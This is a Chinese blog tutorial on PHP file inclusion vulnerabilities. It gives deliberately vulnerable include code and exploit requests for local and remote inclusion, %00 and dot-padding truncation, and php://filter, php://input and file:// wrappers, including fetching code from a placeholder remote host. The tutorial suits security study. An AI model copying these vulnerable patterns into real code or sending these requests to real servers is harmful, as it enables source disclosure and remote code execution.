web-文件包含

本文详细介绍了PHP中的文件包含漏洞,包括本地文件包含、远程文件包含、文件包含截断等不同类型,并给出了相应的测试代码和利用方式,如使用%00截断、多个句点或反斜杠、伪截断等技巧,还提到了php://filter和php://input等pnp伪协议的利用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

inclued:出错会继续执行
require:出错会退出
1、本地文件包含:
测试代码1.php如下所示:
<?php
//初始化....
define("ROOT",dirname(__FILE__).'/');
//加载模块
$mod = $_GET['mod'];
echo ROOT.$mod.'.php';
include(ROOT.$mod.'.php');
?>
我们在同目录下2.php写入如下代码:
<?php phpinfo();?>
请求/1.php?mod=2即成功实现文件包含
2、远程文件包含:
基于HTTP协议的测试代码:
<?php
include($_GET['url']);
?>
利用时在GET请求url参数里面传入"http://remotehost/2.txt",
其中远程机器上的2.txt是一个内容为<?php phpinfo(); ?>的文件
3、文件包含截断
1.php?a=php://input
post内容为<?php phpinfo();?>
3.1、利用%00来截断
<?php
include $_GET['a'].'.php';
?>
测试代码2.txt内容为phpinfo
请求http://localhost/test/1.php?a=2.txt%00即可执行phpinfo的代码
3.2、利用多个英文句号(.)和反斜杠(/)来截断,这种方式不受GPC限制,不过
同样在PHP 5.3版本之后被修复。
测试代码如下:
<?php
$str='';
for($i=0;$i<=240;$i++)
{
$str .= '.';
}
$str = '2.txt'.$str;
echo $str;
include $str.'.php';
?>
在Windows下测试是240个连接的点(.)能够截断,同样的点(.)
加斜杠(/)也是240个能够截断,Linux下测试的是2038个/.组
合才能截断。
3.3、利用?来伪截断
?之后的内容会被当成是请求参数
<?php
include $_GET['a'].'.php';
请求/1.php?a=http://remotehost/2.txt?
2.txt内容同样为phpinfo的代码,请求之后会打印出phpinfo信息
3.4、pnp伪协议
php://filter用于读取源码,php://input用于执行php代码。
http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php
http://127.0.0.1/cmd.php?file=php://input
[POST DATA] <?php phpinfo()?>
file:// 用于访问本地文件系统
http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值